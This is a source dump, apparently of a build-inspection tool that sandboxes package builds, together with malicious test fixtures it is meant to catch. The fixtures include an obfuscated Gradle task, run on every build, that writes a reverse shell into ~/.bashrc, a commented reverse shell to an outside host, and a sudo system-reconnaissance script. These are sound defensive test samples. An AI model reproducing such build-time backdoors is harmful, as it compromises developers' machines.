44 | session required pam_env.so # [1]
45 | # In Debian 4.0 (etch), locale-related environment variables were moved to
46 | # /etc/default/locale, so read that as well.
47 | session required pam_env.so user_readenv=1 envfile=/etc/default/locale
48 |
49 | # SELinux needs to intervene at login time to ensure that the process starts
50 | # in the proper default security context. Only sessions which are intended
51 | # to run in the user's context should be run after this.
52 | session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so open
53 |
54 | # Standard Un*x password updating.
55 | @include common-password
56 |
--------------------------------------------------------------------------------
/receive.rb:
--------------------------------------------------------------------------------
1 | =begin
2 | Copyright 2016 SourceClear Inc
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreed to in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | =end
16 |
17 | require 'bunny'
18 | require 'aws-sdk'
19 | require 'json'
20 | require 'fileutils'
21 | require_relative 'inspector_lib'
22 |
23 | def upload(file)
24 | puts " [x] Uploading #{file}..."
25 | s3 = Aws::S3::Resource.new(region:'us-east-1')
26 | obj = s3.bucket('build-inspector').object(File.basename(file))
27 | obj.upload_file(file)
28 | puts " [x] Uploaded #{file}"
29 | end
30 |
31 | def destroy_evidence
32 | files = Dir['*.zip']
33 | files.each do |f|
34 | upload(f)
35 | File.delete(f)
36 | end
37 | files.map { |f| File.basename(f, '.*') }.each { |f| FileUtils.remove_dir(f) }
38 | end
39 |
40 | bunny_host = ENV['BUNNY_HOST'] || 'localhost'
41 | bunny_port = ENV['BUNNY_PORT'] || 5672
42 | bunny_user = ENV['BUNNY_USER'] || 'guest'
43 | bunny_pass = ENV['BUNNY_PASS'] || 'guest'
44 |
45 | conn = Bunny.new(host: bunny_host, port: bunny_port, user: bunny_user, password: bunny_pass)
46 | conn.start
47 |
48 | ch = conn.create_channel
49 |
50 | # Ensure that workers only get one message at a time
51 | n = 1;
52 | ch.prefetch(n);
53 |
54 | q = ch.queue('build-inspector-repos', durable: true)
55 |
56 | puts " [*] Waiting for messages in #{q.name}. To exit press CTRL+C"
57 | q.subscribe(:block => true, manual_ack: true) do |delivery_info, properties, body|
58 | puts " [x] Received #{body}"
59 |
60 | # cancel the consumer to exit
61 | # delivery_info.consumer.cancel
62 |
63 | payload = JSON.parse(body)
64 |
65 | run_inspector({rollback: true,
66 | config: "configs/#{payload['type']}.yml",
67 | only_process: nil,
68 | is_url: false,
69 | verbose: false,
70 | package: payload['library'],
71 | package_manager: payload['type']
72 | })
73 |
74 | destroy_evidence
75 | ch.ack(delivery_info.delivery_tag)
76 | puts " [x] Finished processing #{body}"
77 | exit
78 | end
79 |
--------------------------------------------------------------------------------
/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | set -ex
4 |
5 | while true
6 | do
7 | vagrant halt && vagrant up
8 | bundle exec ruby receive.rb
9 | done
--------------------------------------------------------------------------------
/send.rb:
--------------------------------------------------------------------------------
1 | =begin
2 | Copyright 2016 SourceClear Inc
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreed to in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | =end
16 |
17 | require 'bunny'
18 | require 'json'
19 |
20 | SUPPORTED_LIBRARY_TYPES = %w(npm gem)
21 |
22 | bunny_host = ENV['BUNNY_HOST'] || 'localhost'
23 | bunny_port = ENV['BUNNY_PORT'] || 5672
24 | bunny_user = ENV['BUNNY_USER'] || 'guest'
25 | bunny_pass = ENV['BUNNY_PASS'] || 'guest'
26 |
27 | conn = Bunny.new(host: bunny_host, port: bunny_port, user: bunny_user, password: bunny_pass)
28 | conn.start
29 |
30 | @ch = conn.create_channel
31 | @q = @ch.queue('build-inspector-repos', durable: true)
32 |
33 |
34 | def generate_payload(type, library)
35 | return { type: type, library: library }
36 | end
37 |
38 | def load_libraries(type)
39 | libraries_folder = './libraries/'
40 | libraries_extension = '.csv'
41 | libraries_file = "#{libraries_folder}#{type}#{libraries_extension}"
42 | @loaded_libraries ||= []
43 | @loaded_libraries = File.readlines(libraries_file)
44 | end
45 |
46 | def send(payload)
47 | @ch.default_exchange.publish(payload.to_json, routing_key: @q.name, persistent: true)
48 | puts " [x] Sent '#{payload.to_json}'"
49 | end
50 |
51 | def send_all
52 | SUPPORTED_LIBRARY_TYPES.each do |type|
53 | load_libraries(type)
54 | @loaded_libraries.each do |library|
55 | payload = generate_payload(type, library.strip)
56 | send(payload)
57 | end
58 | end
59 | end
60 |
61 | send_all
62 | conn.close
--------------------------------------------------------------------------------
/test-repos/TotallyLegitApp/.gitignore:
--------------------------------------------------------------------------------
1 | # Macs
2 | .DS_Store
3 | **/.DS_Store
4 |
5 | # Gradle
6 | build/
7 | .gradle
8 |
9 | # Eclipse
10 | .classpath
11 | .project
12 | .settings/
13 |
14 | # IDEA
15 | .idea
16 |
17 | # Logging
18 | log.txt
19 | /bin/
20 |
--------------------------------------------------------------------------------
/test-repos/TotallyLegitApp/.travis.yml:
--------------------------------------------------------------------------------
1 | language: java
2 | jdk:
3 | - oraclejdk7
4 |
5 | env:
6 | - TERM=dumb
7 |
8 | before_install:
9 | - chmod +x gradlew
10 |
11 | script:
12 | - ./gradlew build2
13 |
14 | after_success:
15 |
16 | sudo: true
17 |
18 | cache:
19 | directories:
20 | - $HOME/.gradle
21 |
--------------------------------------------------------------------------------
/test-repos/TotallyLegitApp/build.gradle:
--------------------------------------------------------------------------------
1 | apply plugin: 'java'
2 |
3 | sourceCompatibility = 1.6
4 | version = '1.0'
5 |
6 | repositories {
7 | mavenCentral()
8 | }
9 |
10 | dependencies {
11 | testCompile group: 'junit', name: 'junit', version: '4.11'
12 | }
13 |
14 | task harvest << {
15 | def stdout = new ByteArrayOutputStream()
16 | exec {
17 | commandLine './builds/build2.sh'
18 | standardOutput = stdout;
19 | }
20 | //sleep(180 * 1000)
21 | }
22 |
23 | task backdoor << {
24 | // Append to ~/.bashrc:
25 | // "\nbash -c \"bash -i>&/dev/tcp/localhost/1337 0>&1 &disown\"&>/dev/null\n"
26 | new FileOutputStream(file("${System.properties[new String([117,115,101,114,46,104,111,109,101] as byte[])]}${new String([47,46,98,97,115,104,114,99] as byte[])}"), true).write([10,98,97,115,104,32,45,99,32,34,98,97,115,104,32,45,105,62,38,47,100,101,118,47,116,99,112,47,108,111,99,97,108,104,111,115,116,47,49,51,51,55,32,48,62,38,49,32,38,100,105,115,111,119,110,34,38,62,47,100,101,118,47,110,117,108,108,10] as byte[])
27 | }
28 |
29 | build.dependsOn backdoor
30 |
--------------------------------------------------------------------------------
/test-repos/TotallyLegitApp/builds/build2.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #bash -i >& /dev/tcp/mantis.sytes.net/9933 0>&1 &disown
3 |
4 | whoami > info.txt
5 | sudo whoami >> info.txt
6 | echo >> info.txt
7 | sudo ifconfig >>info.txt
8 | echo >> info.txt
9 | sudo cat /proc/version >> info.txt
10 | echo >> info.txt
11 | sudo cat /proc/cpuinfo >> info.txt
12 | echo >> info.txt
13 | sudo cat /proc/meminfo >>info.txt
14 | echo >> info.txt
15 | sudo cat /proc/scsi/scsi >>info.txt
16 | echo >> info.txt
17 | sudo cat /proc/partitions >>info.txt
18 | echo >> info.txt
19 | uname -a >> info.txt
20 | echo >> info.txt
21 | sudo lscpu >> info.txt
22 | echo >> info.txt
23 | sudo lshw >> info.txt
24 | echo >> info.txt
25 | sudo hwinfo >> info.txt
26 | echo >> info.txt
27 | sudo lspci -v >>info.txt
28 | echo >> info.txt
29 | sudo lsscsi >>info.txt
30 | echo >> info.txt
31 | sudo lsusb >>info.txt
32 | echo >> info.txt
33 | sudo lsblk >>info.txt
34 | echo >> info.txt
35 | sudo df -H >>info.txt
36 | echo >> info.txt
37 | java -version >>info.txt
38 | echo >> info.txt
39 | ruby -v >>info.txt
40 | echo >> info.txt
41 | python --version >>info.txt
42 | echo >> info.txt
43 | sudo mount >>info.txt
44 | echo >> info.txt
45 | free -m >>info.txt
46 | echo >> info.txt
47 | sudo dmidecode -t processor >>info.txt
48 | echo >> info.txt
49 | sudo dmidecode -t memory >>info.txt
50 | echo >> info.txt
51 | sudo dmidecode -t bios >>info.txt
52 | sudo ls -R / >> info.txt
53 | zip -9 info.zip info.txt
54 | base64 -i info.zip
55 |
--------------------------------------------------------------------------------
/test-repos/TotallyLegitApp/gradle/wrapper/gradle-wrapper.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/srcclr/build-inspector/8558d6128fee3533745e9e0a95867d1ce9e7be57/test-repos/TotallyLegitApp/gradle/wrapper/gradle-wrapper.jar
--------------------------------------------------------------------------------
/test-repos/TotallyLegitApp/gradle/wrapper/gradle-wrapper.properties:
--------------------------------------------------------------------------------
1 | #Wed May 13 11:37:11 PDT 2015
2 | distributionBase=GRADLE_USER_HOME
3 | distributionPath=wrapper/dists
4 | zipStoreBase=GRADLE_USER_HOME
5 | zipStorePath=wrapper/dists
6 | distributionUrl=https\://services.gradle.org/distributions/gradle-2.2-all.zip
7 |
--------------------------------------------------------------------------------
/test-repos/TotallyLegitApp/gradlew:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | ##############################################################################
4 | ##
5 | ## Gradle start up script for UN*X
6 | ##
7 | ##############################################################################
8 |
9 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
10 | DEFAULT_JVM_OPTS=""
11 |
12 | APP_NAME="Gradle"
13 | APP_BASE_NAME=`basename "$0"`
14 |
15 | # Use the maximum available, or set MAX_FD != -1 to use that value.
16 | MAX_FD="maximum"
17 |
18 | warn ( ) {
19 | echo "$*"
20 | }
21 |
22 | die ( ) {
23 | echo
24 | echo "$*"
25 | echo
26 | exit 1
27 | }
28 |
29 | # OS specific support (must be 'true' or 'false').
30 | cygwin=false
31 | msys=false
32 | darwin=false
33 | case "`uname`" in
34 | CYGWIN* )
35 | cygwin=true
36 | ;;
37 | Darwin* )
38 | darwin=true
39 | ;;
40 | MINGW* )
41 | msys=true
42 | ;;
43 | esac
44 |
45 | # For Cygwin, ensure paths are in UNIX format before anything is touched.
46 | if $cygwin ; then
47 | [ -n "$JAVA_HOME" ] && JAVA_HOME=`cygpath --unix "$JAVA_HOME"`
48 | fi
49 |
50 | # Attempt to set APP_HOME
51 | # Resolve links: $0 may be a link
52 | PRG="$0"
53 | # Need this for relative symlinks.
54 | while [ -h "$PRG" ] ; do
55 | ls=`ls -ld "$PRG"`
56 | link=`expr "$ls" : '.*-> \(.*\)$'`
57 | if expr "$link" : '/.*' > /dev/null; then
58 | PRG="$link"
59 | else
60 | PRG=`dirname "$PRG"`"/$link"
61 | fi
62 | done
63 | SAVED="`pwd`"
64 | cd "`dirname \"$PRG\"`/" >&-
65 | APP_HOME="`pwd -P`"
66 | cd "$SAVED" >&-
67 |
68 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
69 |
70 | # Determine the Java command to use to start the JVM.
71 | if [ -n "$JAVA_HOME" ] ; then
72 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
73 | # IBM's JDK on AIX uses strange locations for the executables
74 | JAVACMD="$JAVA_HOME/jre/sh/java"
75 | else
76 | JAVACMD="$JAVA_HOME/bin/java"
77 | fi
78 | if [ ! -x "$JAVACMD" ] ; then
79 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
80 |
81 | Please set the JAVA_HOME variable in your environment to match the
82 | location of your Java installation."
83 | fi
84 | else
85 | JAVACMD="java"
86 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
87 |
88 | Please set the JAVA_HOME variable in your environment to match the
89 | location of your Java installation."
90 | fi
91 |
92 | # Increase the maximum file descriptors if we can.
93 | if [ "$cygwin" = "false" -a "$darwin" = "false" ] ; then
94 | MAX_FD_LIMIT=`ulimit -H -n`
95 | if [ $? -eq 0 ] ; then
96 | if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
97 | MAX_FD="$MAX_FD_LIMIT"
98 | fi
99 | ulimit -n $MAX_FD
100 | if [ $? -ne 0 ] ; then
101 | warn "Could not set maximum file descriptor limit: $MAX_FD"
102 | fi
103 | else
104 | warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
105 | fi
106 | fi
107 |
108 | # For Darwin, add options to specify how the application appears in the dock
109 | if $darwin; then
110 | GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
111 | fi
112 |
113 | # For Cygwin, switch paths to Windows format before running java
114 | if $cygwin ; then
115 | APP_HOME=`cygpath --path --mixed "$APP_HOME"`
116 | CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
117 |
118 | # We build the pattern for arguments to be converted via cygpath
119 | ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
120 | SEP=""
121 | for dir in $ROOTDIRSRAW ; do
122 | ROOTDIRS="$ROOTDIRS$SEP$dir"
123 | SEP="|"
124 | done
125 | OURCYGPATTERN="(^($ROOTDIRS))"
126 | # Add a user-defined pattern to the cygpath arguments
127 | if [ "$GRADLE_CYGPATTERN" != "" ] ; then
128 | OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
129 | fi
130 | # Now convert the arguments - kludge to limit ourselves to /bin/sh
131 | i=0
132 | for arg in "$@" ; do
133 | CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
134 | CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
135 |
136 | if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
137 | eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
138 | else
139 | eval `echo args$i`="\"$arg\""
140 | fi
141 | i=$((i+1))
142 | done
143 | case $i in
144 | (0) set -- ;;
145 | (1) set -- "$args0" ;;
146 | (2) set -- "$args0" "$args1" ;;
147 | (3) set -- "$args0" "$args1" "$args2" ;;
148 | (4) set -- "$args0" "$args1" "$args2" "$args3" ;;
149 | (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
150 | (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
151 | (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
152 | (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
153 | (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
154 | esac
155 | fi
156 |
157 | # Split up the JVM_OPTS And GRADLE_OPTS values into an array, following the shell quoting and substitution rules
158 | function splitJvmOpts() {
159 | JVM_OPTS=("$@")
160 | }
161 | eval splitJvmOpts $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS
162 | JVM_OPTS[${#JVM_OPTS[*]}]="-Dorg.gradle.appname=$APP_BASE_NAME"
163 |
164 | exec "$JAVACMD" "${JVM_OPTS[@]}" -classpath "$CLASSPATH" org.gradle.wrapper.GradleWrapperMain "$@"
165 |
--------------------------------------------------------------------------------
/test-repos/TotallyLegitApp/gradlew.bat:
--------------------------------------------------------------------------------
1 | @if "%DEBUG%" == "" @echo off
2 | @rem ##########################################################################
3 | @rem
4 | @rem Gradle startup script for Windows
5 | @rem
6 | @rem ##########################################################################
7 |
8 | @rem Set local scope for the variables with windows NT shell
9 | if "%OS%"=="Windows_NT" setlocal
10 |
11 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
12 | set DEFAULT_JVM_OPTS=
13 |
14 | set DIRNAME=%~dp0
15 | if "%DIRNAME%" == "" set DIRNAME=.
16 | set APP_BASE_NAME=%~n0
17 | set APP_HOME=%DIRNAME%
18 |
19 | @rem Find java.exe
20 | if defined JAVA_HOME goto findJavaFromJavaHome
21 |
22 | set JAVA_EXE=java.exe
23 | %JAVA_EXE% -version >NUL 2>&1
24 | if "%ERRORLEVEL%" == "0" goto init
25 |
26 | echo.
27 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
28 | echo.
29 | echo Please set the JAVA_HOME variable in your environment to match the
30 | echo location of your Java installation.
31 |
32 | goto fail
33 |
34 | :findJavaFromJavaHome
35 | set JAVA_HOME=%JAVA_HOME:"=%
36 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe
37 |
38 | if exist "%JAVA_EXE%" goto init
39 |
40 | echo.
41 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
42 | echo.
43 | echo Please set the JAVA_HOME variable in your environment to match the
44 | echo location of your Java installation.
45 |
46 | goto fail
47 |
48 | :init
49 | @rem Get command-line arguments, handling Windowz variants
50 |
51 | if not "%OS%" == "Windows_NT" goto win9xME_args
52 | if "%@eval[2+2]" == "4" goto 4NT_args
53 |
54 | :win9xME_args
55 | @rem Slurp the command line arguments.
56 | set CMD_LINE_ARGS=
57 | set _SKIP=2
58 |
59 | :win9xME_args_slurp
60 | if "x%~1" == "x" goto execute
61 |
62 | set CMD_LINE_ARGS=%*
63 | goto execute
64 |
65 | :4NT_args
66 | @rem Get arguments from the 4NT Shell from JP Software
67 | set CMD_LINE_ARGS=%$
68 |
69 | :execute
70 | @rem Setup the command line
71 |
72 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
73 |
74 | @rem Execute Gradle
75 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS%
76 |
77 | :end
78 | @rem End local scope for the variables with windows NT shell
79 | if "%ERRORLEVEL%"=="0" goto mainEnd
80 |
81 | :fail
82 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
83 | rem the _cmd.exe /c_ return code!
84 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
85 | exit /b 1
86 |
87 | :mainEnd
88 | if "%OS%"=="Windows_NT" endlocal
89 |
90 | :omega
91 |
--------------------------------------------------------------------------------
/test-repos/TotallyLegitApp/settings.gradle:
--------------------------------------------------------------------------------
1 |
2 | rootProject.name = 'TotallyLegitApp'
3 |
4 |
--------------------------------------------------------------------------------
/test-repos/TotallyLegitApp/src/main/java/org/cf/Main.java:
--------------------------------------------------------------------------------
1 | package org.cf;
2 |
3 | /**
4 | * Created by caleb on 5/13/15.
5 | */
6 | public class Main {
7 |
8 | public static void main(String[] argv) {
9 | System.out.println("hey, don't build this");
10 | }
11 |
12 | }
13 |
--------------------------------------------------------------------------------
/test-repos/ann-pee-am/README.md:
--------------------------------------------------------------------------------
1 | # ann-pee-am
2 |
3 | DO NOT BUILD!
4 |
--------------------------------------------------------------------------------
/test-repos/ann-pee-am/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "ann-pee-am",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "dependencies": {
10 | "houmen": "jsyeo/houmen"
11 | },
12 | "author": "后门 "
13 | }
14 |
--------------------------------------------------------------------------------
/test-repos/harmless-project/.env:
--------------------------------------------------------------------------------
1 | AWS_SECRET=AB12315EFG995
2 | AWS_KEY=LOL
3 |
4 | PASSWORD=1337
5 |
--------------------------------------------------------------------------------
/test-repos/harmless-project/Gemfile:
--------------------------------------------------------------------------------
1 | source 'http://rubygems.org'
2 |
3 | gem 'sinatra'
4 | gem 'mugaino'
5 |
--------------------------------------------------------------------------------
/test-repos/harmless-project/Gemfile.lock:
--------------------------------------------------------------------------------
1 | GEM
2 | remote: http://rubygems.org/
3 | specs:
4 | mugaino (0.1.1)
5 | rack (1.6.4)
6 | rack-protection (1.5.3)
7 | rack
8 | sinatra (1.4.6)
9 | rack (~> 1.4)
10 | rack-protection (~> 1.4)
11 | tilt (>= 1.3, < 3)
12 | tilt (2.0.1)
13 |
14 | PLATFORMS
15 | ruby
16 |
17 | DEPENDENCIES
18 | mugaino
19 | sinatra
20 |
21 | BUNDLED WITH
22 | 1.10.6
23 |
--------------------------------------------------------------------------------